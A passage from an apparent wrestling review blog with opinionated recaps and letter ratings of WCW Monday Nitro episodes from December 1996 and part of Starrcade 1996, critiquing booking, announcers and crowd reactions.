Tenay is here of course. Psicosis is BRAND new here and I don’t know if he’s ever appeared here yet. Konnan comes out to some strange music here as we’re told that he was at Starrcade 1990, which is true as well as a bit odd to me for no apparent reason. We keep hearing about how big of a star Konnan is in Mexico, and apparently that’s true, but it’s not like he’s a major success. Still though, what he did was indeed impressive.

And now we’re down on the mat. Sure why not. We also get a reference to the Billionaire Ted skits that were airing in WWF at the time. Allegedly they were the skits that got Turner to open his pockets, although the jokes that it was all about old guys in WCW proved to be absolutely right. This is a very boring match in case you were wondering why I’m not talking about it that much. Psicosis hits a great suicide dive to the floor and then they’re both up shortly thereafter.

Konnan hits a German and then does a weird looking submission hold where he hooks the legs like a reverse figure four but ties the arms in also. He then doesn’t do anything but pose, which is good enough for a submission. It’s called the Zip Lock apparently. Ok then. Never seen him use that before or since.

Rating: D. Oh this was just bad. There was nothing interesting at all and a total of one high spot. This could have been solid but I just sat there hoping it ended soon. It was just over five minutes so I can’t complain that much. Rey would debut in about six months and get some real high flying stuff going then, but that was a long time away.

Sherri is getting dressed in the back of a limo and Parker is still trying to get money out of Gene. Gene will be walking her down the driveway. Oh dear.

After a break he does just that and mentions the phone call from earlier, but Sherri says she hasn’t talked to him today. Oh this isn’t going to end well. Sherri is in this idiotic looking red dress with a head thing behind her head like a massive collar. Disco Inferno is dancing and I have to give him this: he never half did his gimmick. Not once. In what might be a joke, Parker’s full name is Colonel Robert Andy Parker: C.R.A.P.

As we’re about to get to the vows, here’s Madusa who gets in a BIG fight with Sherri. Apparently Parker has been cheating or something, which led to a horrendous match with Madusa vs. Parker at Uncensored. Big old fight and no one cares. Disco steals the champagne in a funny bit.

Ric Flair/The Giant vs. Randy Savage/Hulk Hogan

Despite the Giant having had like 5 matches up to this point, he’s a legend. Sure why not. Hart is now Gentleman Jimmy Hart for no apparent reason other than Michael Buffer is an idiot. Giant is fresh off dying at Halloween Havoc as I need a stiff drink. Hogan is billed at 273. WOW. They have Kevin Greene and FIVE women with them. Ok then. So the faces have a total of 8 people with them. Sure why not. AND LIZ MAKES NINE.

DUDE. Buffer has to tell us to welcome her. That’s not a good sign. Savage and Flair start us off. Apparently Flair got on Greene during the break. Something not that well known: Flair played college football at Minnesota and had an offer to Michigan. Greene comes in and has a showdown or something but Flair declines. Can we like, wrestle? Hogan beats up Flair on the floor as the faces dominate to start. And here’s the Giant, so I’m thinking a lot just changed. Make that Hogan vs. Giant.

We argue about Hogan vs. Andre since this match isn’t interesting enough obviously. It’s all Giant here and he misses an elbow before I finish typing that line. Hogan slams him and then Flair comes in to get beaten up since he’s Hulk Hogan and he’s Ric Flair. Savage comes in and Liz somehow gets the credit for their success so far. Ok then.

Hart throws something in to Flair and he nails Savage with it for the pin. The Dungeon and the Horsemen come in for the beatdown but it doesn’t work thanks to the POWER OF GREENE!

Rating: C-. It’s a main event tag match between the guys in the double main event at the PPV. What else were you really expecting here? It’s nothing special but I guess it was a preview of the PPV so there we are. Could have been FAR worse so I’ll give it that, which isn’t much but whatever.

Overall Rating: F+. WOW this was boring. It’s two hours of my life that I’ll never get back and that’s rarely something I say. This just has nothing at all going on, which to be fair could be said about the whole company at this time. Just a boring show with nothing going on for it at all. Stay away from this as well as from the PPV that it was previewing. Awful show.

Remember to like me on Facebook at:

http://www.facebook.com/pages/kbwrestlingreviewscom/117930294974885?sk=wall

Monday Nitro #68
Date: December 30, 1996
Location: Knoxville Civic Auditorium, Knoxville, Tennessee
Commentators: Tony Schiavone, Mike Tenay, Bobby Heenan, Larry Zbyszko

We close out the 1996 series with this. It’s the night after Starrcade and the NWO is about the same. Piper beat Hogan via sleeper but the title wasn’t on the line after Piper GOT TO WRITE THE CONTRACT HIMSELF. Eddie won the US Title and that’s about it. The idea here is to set up the main event of Souled Out. Now the logical idea would be to have Hogan vs. Piper II but that would be insane in WCW. Let’s get to it.

The NWO arrives to open the show, bragging about how awesome they are. Hogan brags about life in general but Giant doesn’t look that happy. He points out that the name plate on the world title says The Giant. Hogan has been champion FOUR MONTHS at this point and they never changed the plate?

Giant dropped the ball last night (Luger beat him, I believe in the first WCW win over an NWO wrestler) but Hogan says it’s all ok because the NWO is awesome. Giant wants a title shot but Hogan tries to talk him out of it. Hogan says that Giant’s title shot means a bye for the NWO. Giant wants to be lead dog. This goes on for awhile.

Theme song opens us up.

Tony and Larry talk about how great last night was for WCW. We get stills of Luger vs. Giant. Sting came in and whispered to Luger as well as Giant. He left his bat there and Luger hit Giant with it for the win.

Amazing French Canadians vs. Public Enemy

The Canadians beat them down on the apron and the Enemy has to chill on the floor. Once they do get into the ring they clear out the Canadians and single out Oulette. Now the Enemy won’t let the Canadians in the ring. The Canadians try to leave but get beaten down by their own flags which isn’t a DQ somehow. The Public Enemy tries to put Jacques through a table but go through it themselves. We FINALLY get to a traditional match structure as the Canadians win with the Cannonball. This wasn’t a match so no rating but it was kind of fun.

Cruiserweight Title: Ultimo Dragon vs. Jushin Thunder Liger

I’ll pause to let the internet explode. Dragon holds the J Crown and the Cruiserweight Title while Liger beat Rey last night with the Liger Bomb. Dragon kicks away to start but Liger speeds things up. They both hit clotheslines but no one goes anywhere. There’s the
surfboard by Liger and a suplex for two. Rolling Thunder gets two. Dragon grabs a backbreaker out of nowhere to send Liger to the floor, following up with a suicide dive. Dragon goes up but jumps into two feet. At least he was trying a splash there. Brainbuster and superplex get two for Liger. Out of nowhere Dragon hits a super rana and tiger suplex to retain.

Rating: C+. Good match but short. At this point, Dragon had TEN championships including a title from Mexico. Think about that for a few seconds. It’s a big deal when people have two and Dragon had ten. These two would have a great 18 minute match in Tokyo less than a week after this where Liger won the J Crown.

Big Bubba vs. Konnan

This is a strap match. And there’s no Bubba but he has a replacement.

Mr. Wallstreet vs. Konnan

This is the touch the corners variety. Wallstreet, who has no issues with Konnan, jumps him and whips Konnan down. Konnan does the get the strap between the other guy’s legs and pull spot. We get the same finish that you almost always get for this: Wallstreet drags him around, Konnan hits it at the same time, Konnan dives to win it. WHAT WAS THE POINT OF THIS??? It lasted like two minutes and there was no issue between these two.

Hogan and Bischoff come out. Hogan is all perky because he still has the title. Bischoff says that Hogan won last night and Hogan says that he knew he’d win the whole time. This is a really basic “Hogan is awesome” promo with nothing happening after it’s over.

Hugh Morrus vs. Kensuke Sasaki

Both are big power guys. They hit the ropes and no one moves. A double clothesline puts both guys down but then they pop up. Sasaki chops away but Morrus punches. There’s no selling at all here. Morrus elbows him down and hooks a chinlock. Eric comes up on commentary and says they won’t show the ending to the PPV last night because he has the tape. Sasaki hits a powerslam and there is NO reaction. No one knows who Sasaki is and there’s no point to this match as far as stories go, so why should they care? Top rope elbow misses and Morrus hits the moonsault but Sonny comes in for the DQ.

Rating: D-. Why did this match happen? I mean, no one knows who Sasaki is so a win over him doesn’t matter. Morrus didn’t even get the pin because they did the DQ ending. This was Sasaki’s first WCW match in a year and his last ever with the company. But hey, he’s Japanese so we’re supposed to care I guess? I don’t get it.

We get stills of Piper’s win last night which is supposed to be some big deal.

Harlem Heat vs. Faces of Fear

The announcers rave on and on about how great and important and inspiring the Piper win was. Larry says that it was huge because people had wondered who would win if they fought for years. So we’re supposed to remember Wrestlemania but not all of the other matches they had. Got it. Tony plugs Souled Out which was on a Saturday. Stevie and Barbarian start but it’s off to Booker for some kicks quickly.

Booker goes up but is quickly belly to belly superplexed off. Off to Meng who stomps away and works on the back. And get this: THERE’S A MIDGET MATCH LATER!!! I know they like going back to the 80s but can’t they steal some good ideas? Colonel Parker comes out and spanks Sherri with his riding crop so they get in their 9000th fight. A Rougeau comes out to throw salt in Stevie’s eyes. Kick of Fear takes Stevie down but Booker jumps off the top and clocks Meng so Stevie can get the unconscious cover.

Rating: D. This match sucked too. I don’t get what they’re thinking with half of this card as its like they had no idea that Nitro was happening tonight and threw together a bunch of matches to fill in two hours. This was probably the longest match too, clocking in at about 4 minutes. The fans just don’t care at all either, and can you blame them?

DDP says he’ll fix things with the NWO and move on. He won’t go into details though. It’s implied that he’s going to join them but he hates that he has to.

Hour #2 begins. This one has to be more interesting than that first hour which would work well as an informercial for putting a screwdriver into your head.

We recap Hogan and Giant from earlier, as well as Hogan lying about winning.

Piper has arrived.

Disco Inferno vs. Glacier

There’s a big black spot all over the ring from the stuff that Jacques threw at Stevie in the previous match. After the bell, Disco says drop out of the match or face the wrath of his new leg lock. Glacier flips him over and we’re ready to go. Disco gets kicked a lot so he hides behind the referee and comes back with a clothesline. He sets for his new leg hold but can’t remember how to do it. Instead he hits a pretty good neckbreaker but Glacier pops up and hits a superkick to end it.

Rating: D+. Ice > Fire I guess. The match was, again, pointless and nothing interesting. Glacier would stay undefeated until roughly July while Disco would stay a joke for years to come. At the end of the day though, he took a stupid gimmick and kept a job out of it for how many years? That proves something, although it might be that WCW is stupid enough to keep him around.

Stills of Benoit vs. Jarrett where about 5 people interfered and Jeff got the pin while unconscious.

Chris Benoit vs. Chris Jericho

Ok, this HAS to be good right? Woman looks pretty good here. Benoit controls to start and Jericho has more rainbowish tights. Huge powerbomb and an elbow gets two for Benoit. Another powerbomb attempt is countered into a backslide. Jericho doesn’t mean much yet so this would be a huge upset. Rollup gets two for Jericho. Jericho gets sent face first into the middle buckle but Jericho comes out with an atomic drop and superkick. Lionsault (not yet named) misses so he goes up top for a cross body. Jericho charges into the corner but gets tied up so that a belly to back superplex from Benoit gets the pin.

Rating: C+. Again, these two getting some time means a good match. Jericho still didn’t mean much but he was rapidly gaining steam. Well whatever steam he was able to get in WCW before they turned him into nothing. The heel turn worked far better for him than the face run did.

The Horsemen minus Arn have an interview but Debra is all nice to Woman. She’ll have none of the lies though and yells at Mongo. Jarrett comes out and says he wants to be a Horseman and lead WCW. He wants to know where Arn is but Flair says he’s off partying. Benoit says Jarrett isn’t a Horseman. PREACH IT BROTHER!!! Flair wants to go party. Can you imagine the REAL Horsemen against the NWO? As in them kidnapping say Wallstreet and breaking his leg then saying they’re coming for the gold? WarGames: Horsemen vs. NWO. Think that might work? Instead we get….this. Thanks Benoit.

Lee Marshall does his phone thing.

Octagoncito/Mascarita Sagrada vs. Jerito Estrada/Piratita Morgan

Again, I get that this is a huge deal in Mexico, but this means NOTHING to American audiences and are a comedy act here. Jerito is taller than the top rope if that tells you anything. He and Sagrada have a small vs. big match and this is going nowhere. The others come in and Octagoncito cleans house. Sagrada pins Jerito with a rollup. This was short and not terrible, but it’s totally out of place here in Tennessee.

Dean Malenko vs. Rey Mysterio Jr.

Neither gets an entrance as we start immediately after returning from a break. Dean quickly takes him to the mat to control early. Rey sends him to the floor to make sure nothing speeds up all night. Back in and Dean hooks another hold but Rey reverses into one of his own. Dean throws him into the air and then hits his gutbuster for no cover. Half crab by Dean keeps things slow.

Rey speeds things up by running the corner and hitting a dropkick. Dean stays on the back then forearms Rey in the corner. Rey comes back with some of his own but Dean tries to throw him onto the top. Rey was supposed to land on his feet on top but can’t get it so he crotches himself to improvise. That’s much better than trying to stand and making it look stupid.

Dean counters a rana into a big powerbomb for two. Rey comes back with a rolling cradle for the same. Another powerbomb is countered into a sunset flip for two. Mysterio knocks him to the floor and hits a BIG seated senton to the floor, sending his own face into the floor at the same time. West Coast Pop is countered into a Boston Crab and we get a nice pinfall reversal sequence out of it. Rey goes up top for a rana but the bell rings at 9:24 for a draw.

Rating: C+. Another good match which actually means something but the fans DO NOT react at all. Can you really blame them though? They’ve had to sit through an hour and a half of totally worthless matches with guys most of them have never seen before which aren’t getting any kind of time to get anything going with. Now all of a sudden they’re supposed to get fired up? It doesn’t work that way. The match was pretty good (time issues aside) but the dead crowd holds it back.

Lex Luger vs. Greg Valentine

This is exactly what you would expect: Valentine gets in some early offense and pounds away for maybe two minutes or so. Then Luger makes his comeback and the Rack gets the submission.

Here’s Piper for the talk to close the show. He reminds us that he won last night and that it’s his last fight. Hogan and Bischoff come out and talk about how Piper is lying to them. Hollywood says he didn’t end Piper last night because of Piper’s son begging. Piper wants to do it again right now but here’s the NWO. Giant comes out very slowly. Even Nick Patrick is finally in the NWO shirt.

They give Piper a big shoulderbreaker and hit his bad hip with a chair. The tell Giant to chokeslam him and he reluctantly puts Piper in position for it. Giant drops him though and never picked him up off the mat. Giant stands off by himself while the NWO huddles. Hogan says that’s strike three and slaps Giant. Giant grabs him by the throat while the NWO backs off. He says he wants the gold and Hogan promises him a title shot. Giant lets Hogan go and Hogan says he’s got the shot. He gets on the floor and then says get him.

The NWO runs in and Giant beats up all of their low level guys but everyone eventually gangs up on him, allowing Hogan to take him down with belt shots to the back. They rip the NWO shirt off of him and Hogan hits him in the head with the belt as the NWO stands tall to end the show. Oh and Piper is taken away in an ambulance.

Overall Rating: D. Where do I even begin? Ok first and foremost, the ending is the typical problem with WCW at this point: the NWO isn’t allowed to look weak. Giant defecting should have been a big moment, especially with him choking Hogan into giving him a title shot. So what happened? He was beaten down like EVERYONE else has been two minutes later. Why should I buy Giant as being any different than the other guys when the same thing happens to him? There was no reason to and it didn’t work.

As for the rest of the show, it sucked. The crowd was dead (with good reason) and there was no interest in anything on the rest of the card, because WCW put no effort into anything else on the card. Where was Eddie? The guy won the US Title last night but can’t be booked here? We can get Public Enemy vs. Canadians and a midget match but no US Champion? This show has taken a BIG downturn in the past 6-7 shows and I don’t think it’s going to get any better soon.

Remember to like me on Facebook at:

http://www.facebook.com/pages/kbwrestlingreviewscom/117930294974885?sk=wall

Monday Nitro #67
Date: December 23, 1996
Location: Macon Coliseum, Macon, Georgia
Attendance: 4,900
Commentators: Tony Schiavone, Bobby Heenan, Mike Tenay, Larry Zbyszko

It’s the go home show for Starrcade and one of the last shows of 1996. I can’t believe I’ve actually gotten this far in this series. Anyway, as usual the wrestling isn’t the focus here but then again, it isn’t supposed to be on a go home show. I’m looking forward to next week’s show a little bit more though because of reasons we’ll get to next time. Let’s get to it.

We open with a clip of a match from 5 weeks ago where Benoit beat Eddie with a nice sunset flip.

US Title Tournament Semi-Final: Chris Benoit vs. Eddie Guerrero

There’s no Woman. Winner of this gets Page on Sunday for the title. They start off fast and Benoit takes him down with a shoulder block. Eddie comes back with chops in the corner as Tony can in fact confirm that Benoit is back from Germany. Gee thanks Tony! Taskmaster says that he’s the real chess master and that he’s got Benoit in his trap. Page joins commentary. After cutting away from the match for the Sullivan promo, we cut to the announce table to watch Page sit down.

Benoit hooks a headscissors on the mat but Eddie reverses into a headlock. Eddie keeps that headlock for awhile despite Benoit’s best efforts to get out. Page talks about the Guerreros: Hector, Chavo, Mondo, Harpo, Zeppo and so on. They go to a test of strength position on the mat with Benoit on top. Eddie gets a rollup for two as we take a break. Back with Eddie getting LAUNCHED onto the top rope in a huge Stun Gun.

A big belly to back gets two for Benoit as he yells as Eddie about who he is. He says he’s not Sullivan for some reason. A big powerbomb gets two. Off to a chinlock as Page is doing very well on commentary. He sounds like he’s having a blast. Eddie grabs a tilt-a-whirl backbreaker out of nowhere and loads up the Frog Splash but Benoit stops him and hits a superplex to put both guys down. A delayed cover gets two.

Benoit pounds him down but Eddie gets all fired up. Benoit drapes him across the top rope and covers for two but he grabs the ropes so it’s broken up. They go to the corner with Benoit trying a belly to back superplex but Eddie knocks him off and jumps off into a spinning Frog Splash to go to Starrcade.

Rating: B+. This is the best match I’ve seen on Nitro in a very long time. Eddie and Benoit of course has classic after classic and this was a very good one. The Frog Splash at the end was great and Benoit was feeling it with that high impact stuff. Very good match and an awesome opener. Eddie would win the title on Sunday.

Here are the Horsemen for some talking. Anderson says that a focused Benoit wouldn’t have lost. Last week he had to sit through a beating from Sullivan because he was the one sitting on a couch when the husband got home. Anderson goes on a rant against Benoit but Debra decides to cut him off and say no one likes Woman. She has plenty of friends that Benoit can have an affair with. Benoit says he doesn’t appreciate being told things like that because he was one of the ones that helped reunite the Horsemen. He actually tells Debra to talk to the hand as Mongo comes in to stop him. Flair has to play peacemaker.

Here’s the NWO with Hogan, Vincent, Ted and Liz. We get a spotlight on demand and Hogan says he smells Piper Mania. He’s the biggest star in the world, Hollywood loves him, Piper is a coward, etc. Tony says Piper isn’t here tonight. Now I know a lot of you would expect me to rant and rave about how stupid it is that WCW would have the go home show without the face in the main event of the biggest show of the year there, but at this point, why would you be surprised? It’s late 1996 and Hulk Hogan vs. Roddy Piper is the main event. Hogan poses to “entertain” the people.

Trailer for Marked Man, which somehow proves that Piper is a bigger star according to Tony.

Tombstone vs. Lex Luger

Tombstone is 911 from ECW. This is your standard monster vs. hero match as Lex gets overpowered but then growls a lot and comes back. The Rack ends this quick. Not quite a squash but close enough.

Giant comes in post match and Lex hammers on him a bit. He gets Giant in the Rack but the NWO comes in. Lex drops Giant and runs.

Here’s a video from last week where there were two Stings. We also get a clip from the ending of the show where the WCW guys jumped Sting and that proves he’s NWO in WCW’s stupid minds.

JL vs. Rey Mysterio

The match is discussed for all of 4 seconds as we talk about how WCW needs a leader. JL sends him to the floor as JL misses a dive. Rey hits a rana off the apron to pop the crowd but Tony doesn’t even stop talking about Starrcade. Springboard legdrop gets two for Mysterio. Rey tries a rana but gets caught in a sitout powerbomb for two. Mysterio comes back with a moonsault press for two. Top rope rana sends JL to the floor and a suicide dive takes both of them out. West Coast Pop misses and JL tries La Magistral for two. JL goes up but Rey hits a super rana for the pin.

Rating: C+. Not bad again here but the focus being on Hogan vs. Piper for the most part got annoying. By that I mean it got annoying about an hour ago. At this point it’s expected every time there’s a match. Rey was so fun to watch at this point before his knees turned into something that is jealous of pudding’s toughness.

Rey comes up to the announce table and says that Sting is WCW. He was defending himself because Rey jumped on him last week. Since that’s logical and common sense though, Larry and Tony basically brush Rey off. We even get the Holding Out For A Hero tape from last week. Larry and Tony swear up and down that Sting is NWO. This company deserved to go out of business with how stupid they were. In another WCW gem, here’s this exchange. Tony: “Rey we’ve found that tape.” Rey: “Would you please play….” Tony: “WE ARE LIVE WITH THE SECOND HOUR OF MONDAY NITRO!!!” I give up man. I just do.

The NWO has sworn that Piper is here.

They REAIR Hogan’s promo from earlier. I rarely do this but I fast forward through this.

Glacier vs. Buddy Lee Parker

Glaicer kicks a lot, chops a lot, then kicks a lot more. He hits his Cryonic kick which Parker kicks out of for no apparent reason. A second one finishes this.

Amazing French Canadians vs. Public Enemy

Tony keeps hyping this as the holiday edition but there’s nothing other than a few decorations on the set. The Canadians sing O Canada in French. Tony and Tenay say it’s the wrong words, because apparently FRENCH Canadians should speak English right? Public Enemy jumps them and let’s get this over with. Naturally it’s not really a match as the Canadians are sent to the floor.

They manage to double team Grunge a bit though as the announcers talk about Hogan vs. Piper. I can live with it in a garbage match like this. We get to an actual match with Jacques beating on Grunge. The Canadians get a table set up but Rocco makes the save. Public Enemy finally says screw it and breaks the table over Jacques for the DQ. Total mess rather than a match so no rating.

We recap Bubba joining the NWO last week.

Konnan vs. Big Bubba

Nick Patrick is referee and he doesn’t have a neck brace anymore. Bubba beats Konnan down to start but then goes after Jimmy. This allows Konnan to dive through the dives to take Bubba out. He dropkicks him into the steps and then stands around like an idiot. Patrick takes forever to count so Bubba can come back in and get in a right hand.

The match grinds to a total halt because Bubba doesn’t seem interested in hurting Konnan at all. This results in a lot of slow choking which kills the crowd after a hot start. There’s a smother and Bubba claims Jimmy hit him, so Patrick throws him out. Konnan makes his comeback and throws Bubba over the top for the lame DQ.

Rating: D-. This started fast but oh my goodness this stopped dead after about 90 seconds. Bubba was so pathetic on offense and the whole thing died once he took over. Konnan wasn’t a great guy in the ring but he was trying harder here than Bubba, which really should summarize things for you.

Lee Marshall calls in.

TV Title: Steven Regal vs. Dean Malenko

Dean takes him down to the mat but Regal is like tut tut and takes over. They go into a test of strength position and both nip up to try to escape it. This was before Regal got addicted to everything on the planet and could still be awesome in the ring. Regal takes over with a cravate on the mat. They’re still pushing the idea that heavyweights are vastly superior to cruiserweights so Dean is a big underdog.

Sonny Onoo comes out and is quickly ejected so there wasn’t much of a point to that cameo. The crowd is pretty much dead for this but the match is fine. Off to a headscissors on the mat as Regal keeps control. Regal shifts over to the arm and into a modified abdominal stretch. They go to the corner and Dean hits a dropkick to take Regal down as Regal comes out of the corner.

Both guys are down now so Regal hooks a full nelson. Regal now goes for his 8th body part, taking out the knee. Dean reverses his half crab into a Texas Cloverleaf attempt but Regal grabs the rope. The American hits a release German to the Englishman to take over. A brainbuster hits….and there’s the time limit. Gah that gimmick gets old but at least they didn’t announce it.

Rating: C. The match was pretty boring for the crowd because it’s heel vs. heel. On the other hand though, the technical stuff was really fun as you had two guys that could pretty much do anything in the ring. The array of submissions got a little old but at least it never got boring, which is a rarity on Nitro half the time.

Rick Steiner vs. Jeff Jarrett

The fans want Sting but they get a Steiner powerslam to start. An elbow hits Jarrett as well as Jeff is in trouble early. He comes back with a middle rope clothesline as the announcers talk about how high the buyrate is going to be. Here’s the NWO Sting (with Heenan actually realizing it’s the fake one for once) to try the Death Drop on Jarrett. Steiner hits Fake Sting with a clothesline and Jarrett pins Fake Sting to end this. Why would you cover him? Why would the referee count it? Why am I surprised?

Here’s the NWO to close the show. Hogan talks about how he got a verbally written letter from Piper, admitting that Hogan is the icon. Piper’s music plays….and it’s Bischoff dressed as Piper. He does a bad Scottish accent and talks about Wrestlemania. Bischof insists that a referee get out here as Tony says wrestling has reached a new low and refuses to call this stuff.

Eric lays down for Hogan and gets pinned with one foot. He bows down to Hogan and here’s the real Piper, after probably half the audience has left because they were told he wasn’t here. He has a full band with him. And the NWO runs in to beat him down and end the show. Sting watches from the rafters.

Overall Rating: D+. This show is rapidly going downhill. The matches have stopped meaning much of anything, the announcers have reached levels of stupidity that I didn’t think existed (which would be crushed in the near future) and the PPVs they build to would get worse and worse, starting with a bad Starrcade coming up on Sunday. The shows are still watchable at this point, although they’re getting weak in a hurry.

Here’s Starrcade if you’re interested:

Remember to like me on Facebook at:

http://www.facebook.com/pages/kbwrestlingreviewscom/117930294974885?sk=wall

Starrcade 1996
Date: December 29, 1996
Location: Nashville Municipal Auditorium, Nashville, Tennessee
Attendance: 9,030
Commentators: Tony Schiavone, Dusty Rhodes, Bobby Heenan

Since I want to get my third straight year of WCW complete, here’s the final show of 1996. The main event here is Hogan vs. Piper which shouldn’t be too bad since they were in their primes a mere 11 years ago. I never quite got why this was supposed to be the biggest match in the world but it’s WCW so why am I looking for logic? Other than that there isn’t a ton here but it’s Starrcade so let’s get to it.

The opening video is all about Hogan vs. Piper of course. The announcers talk about it to no end as well.

J Crown/Cruiserweight Title: Dean Malenko vs. Ultimo Dragon

The J Crown is a collection of 8 light weight titles from around the world that Dragon held. This is 8 titles vs. 1, which does a good job of making the Cruiserweight Title seem important. The Dragon is covered in belts here. This is more or less a dream match as they’ve been built up as unbeatable the whole time. Also, one of those 8 belts is the WWF Light Heavyweight Championship, meaning that there is a WWF Title being defended on a WCW show.

As always, Heenan kisses up to Sonny Onoo which is one of his trademarks for some reason. Tenay joins them for commentary. How did he go from being the Professor to what he is now? We go to the mat almost immediately as it’s a feeling out process at the moment. Tenay makes an interesting observation and says there is no challenger here. That’s true to a degree and sounds cool for some reason.

Dragon taps but that doesn’t mean anything yet. Sonny suggests he can hold his pants up with the 9th belt. We hear about a match recently where Malenko tried to fight a heavyweight and, GASP, he did quite well. Why didn’t more guys do that? Loud USA chant as the xenophobia runs wild as always. Dragon uses the STF(U) which causes a bunch of jokes from the announcers that aren’t funny.

Dean’s speed really is underrated. He moves around very well for his size which definitely isn’t your traditional cruiserweight look. Dragon dives through the ropes after faking Malenko out of his shoes. Octopus Hold on Malenko which Dusty thinks is an abdominal stretch but whatever. Tenay says Dragon’s name actually means Final Dragon, meaning the final protégé of Bruce Lee. If that’s true, Dragon was his protégé when he was 6 and a half years old, which is assuming he was his protégé on the last day of Lee’s life.

Malenko finally gets a break as he takes Dragon down and works the knee. Handspring elbow misses and Dean DRILLS him with a powerslam. Powerbomb by Dragon gets two as the crowd is getting into this quickly. Jumping Tombstone gets two and a HUGE pop for Malenko. All Dean here as he gets another two count. Asai Moonsault gets us back to even.

Both guys are down on the floor for a bit. Back in and a top rope moonsault misses, injuring Dragon’s knee. Cloverleaf is hooked and of course Sonny interferes. They do a very nice pinfall reversal sequence and then Dragon hits a Tiger Suplex (the arms are hooked like Cattle Mutilation but he does a suplex) for the pin. HUH? That makes NO sense from a booking perspective. The crowd was WAY into this to put it mildly and the ending just sucked the life out of the place. Dragon would lose the J-Crown in less than a week in Tokyo.

Rating: B+. GREAT opener here but Dean desperately needed to win to make it work. He would get the Cruiserweight Title back in like three weeks so that didn’t matter either. This was a weird booking decision all around and it just didn’t do anyone any favors. We got a good match out of it though so I guess there’s that.

Someone else is coming to the NWO. If I remember right, it was Norton. Yeah this was mentioned on PPV.

WCW Women’s Title: Akira Hokuto vs. Madusa

Speaking of meaningless things, this was around for like 7 months with the winner here being one of two people to hold it ever. The other title match was in Japan after one of these two vacated it and then the title just disappeared. Lee Marshall is on commentary here for no apparent reason. Madusa is doing the whole patriot thing here and it gets as much of a reaction as you would expect it to.

Hokuto was actually in the tournament twice, once under a mask and once not. That should go to show you how deep in talent this division, which is a stretch in its own right, really was. Madusa gets stuck in a Sharpshooter for all of 3 seconds. Hokuto bits Madusa’s foot. Yeah this is pretty weak. Madusa/Alundra Blayze more or less was American women’s wrestling until Sable started getting in the ring.

There is almost nothing to talk about regarding the match here in case that didn’t come off clearly. Dusty says Akira’s hair is nappy, which would likely get him fired today and here it’s glazed over. Madusa hits a DDT which Tony of course thingks is a DDT. It’s amazing how many moves he snapped off that I’ve never even heard of at last year’s Starrcade and now he doesn’t even know basic stuff. That’s Bischoff for you.

This is boring as the announcers try very hard to not talk about T&A which is really what Madusa was known for since she was huge in both areas. Sonny blasts Madusa with the American flag behind the referee’s back and a brainbuster ends this bad match.

Rating: D. Is there a reason for the whole Japanese push here? I don’t really get that but whatever. This would have been bad no matter what the ending was, as this was just not interesting in the slightest. I know Bischoff was obsessed with Japanese wrestling, but dang dude not everything, such as joshi, needs to come over.

Piper, high as a freaking kite, goes on a huge rant about how they’re both icons and how there are other icons. This is less coherent than a Warrior interview. He can’t carry a piano in a parade and has six kids. Piper thinks Gene is Roseanne and makes a Jewish joke before hopping away on one foot. To say this was out there is a drastic understatement.

Jushin Thunder Liger vs. Rey Mysterio

Was there a sale on Japanese workers tonight or something? This should be a great match but three of them in a row? Really man? We hear about Liger having brain surgery of all things earlier in the year. Rey is in WAY over his head here as he’s only been in WCW for a few months while Liger has been here on and off for years. Total beatdown to more or less zero reaction.

Dusty talks about the Figure Four for some reason despite it having no bearing on this match at all. Liger hits a powerbomb on the floor as this has been more or less one sided the entire time. He hooks a surfboard which is one of my all time favorite submission holds. Rey shakes his head all over and you can’t tell which way his head is going.

Crowd is DEAD here by the way. This is rather odd as this has been a rather hard hitting match but I guess it’s the lack of caring of the whole international guys and their style but still this is weird. Granted the one sided thing isn’t helping anything. Dusty talks about his old partner Dick Murdoch who must be watching this tonight. Dusty is such a great friend that he didn’t realize Murdoch died six months before this.

They crank it up again and Rey hits a HUGE moonsault to the floor to wake up this hick crowd. These Tennessee crowds hate anything that isn’t on the mat and doesn’t have a wacky finish like Lawler would book. This high flying stuff is totally pointless to them and you can tell by their reactions. Rey tries to drop a dime and misses to NO change in reaction. Liger Bomb ends it to nothing of course. As Heenan puts it: Japan 3, US 0.

Rating: B-. Solid match here but the booking of Rey getting destroyed was weird. The crowd really brings this down which isn’t something I complain about too often but it’s the problem of having the good old boys crowd like this and it just did not work at all. They decide what they like and if it’s not the same thing they’ve seen for 50 years they will sit on their hands and give the guys nothing.

Jeff Jarrett vs. Chris Benoit

This is No DQ and is somehow part of the eternally awful Horsemen vs. Dungeon of Doom feud which never got any resolution. Not because of the NWO or anything but rather people just didn’t care and it died. Benoit is the heel here because he stole the wife of Kevin Sullivan (Woman, which happened both in real life and in storyline. The line that sums it up is that Kevin Sullivan booked his own divorce) and might be thrown out of the Horsemen for it. Yeah, Benoit stole a single woman while Flair came out at Wrestle War 89 to fight Steamboat with over 20 of them and Benoit is about to be thrown out for Jarrett, who Flair has given a seal of approval to.

To show you how much people can’t stand Jarrett, he’s the face in the storyline, has RIC FLAIR saying how great he is and is the home state boy. He promptly gets booed out of the building in favor of Benoit. Jarrett is in his old school semi-male stripper outfit which is gray on the back and white on the front. This is a far more technical and ground based match so the people seem to be alive for this one. Benoit yells at him and holds up four fingers to a face pop which the company doesn’t want but whatever.

It breaks down into a fight and we hit the floor. Woman gets involved and Jarrett gets crotched, giving Benoit the advantage. This is one of those matches where you shouldn’t try to factor in the storyline but you have to and it cripples it. The match isn’t bad I guess but at the same time it’s really nothing special given the parties involved.

Jarrett goes off but Woman stops him with her fingers into the eyes and Arn Anderson is here. He walks by Benoit which is supposed to be an insult to Benoit I guess. Cue the Dungeon of Doom and they go after Woman. Taskmaster is here and blasts Benoit with a wooden chair. I think Anderson knocked Jarrett out because when everything is clear Jarrett is on Benoit for the pin.

Rating: D+. Decent little match but the angle was just completely awful. Why are they fighting? Aren’t they kind of both Horsemen? Ah wait: Jarrett just hangs out with them and their leader has endorsed him forever but he isn’t a Horseman. Benoit is bad for stealing Woman from his heel husband which was the whole idea of Hogan vs. Savage in 88/89 but whatever. This feud SUCKED and of course went on for like a year since Konnan and Hugh Morrus are such huge issues for guys like Anderson and Flair right? See what I mean by it’s annoying?

Anderson won’t talk to Gene to explain anything because that would be nice. Neither will Jarrett. Benoit and Woman won’t either and here’s Mongo to HUGE booing. He’s a heel here so at least they got that right. He runs down Benoit to an extent and then the extent is gone. Debra gets the loudest heat of the night which is a bad sign. I think the idea is that Benoit’s affair is breaking up the Horsemen….somehow…..and the Dungeon is happy. Flair wants to replace Benoit with Benoit but Arn is remaining loyal to Benoit, even though he doesn’t want to. They managed to screw up the HORSEMEN. Are you getting how bad this regime really was?

Video on Sting as we’re not sure where he’s going. I still can’t believe that this thing lasted a year before his next match.

